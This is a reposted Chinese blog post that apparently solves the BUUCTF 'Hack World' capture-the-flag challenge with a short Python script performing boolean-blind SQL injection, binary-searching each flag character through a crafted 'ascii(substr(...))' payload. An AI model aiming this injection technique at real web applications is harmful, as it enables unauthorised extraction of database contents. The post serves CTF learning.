首页 > 其他 > 详细

Hack World简单脚本学习

时间:2020-08-24 10:02:59      阅读:74      评论:0      收藏:0      [点我收藏+]
import requests
import time
import re
url=‘http://9650e54c-4038-4ec1-a5a2-412ac68accbe.node3.buuoj.cn‘
flag = ‘‘
for i in range(1,43):#flag的字符数为43位
max = 127#所有字符总数为127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)#二分法找出正确字符,(int)为暴力截断
payload = ‘1^(ascii(substr((select(flag)from(flag)),‘+str(i)+‘,1))>‘+str(s)+‘)‘ #从flag的第一个字符开始爆破,若flag的第i位字符的ASCII值大于s,则payload的值为0,反之则为1
r = requests.post(url,data = {‘id‘:payload})
time.sleep(0.1)#延迟的秒数
if ‘Hello, glzjin wants a girlfriend.‘ in str(r.content):
max=s
else:
min=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break
print(flag)
#填写自己环境的url

Hack World简单脚本学习

原文:https://www.cnblogs.com/Web-Fresher/p/13551602.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!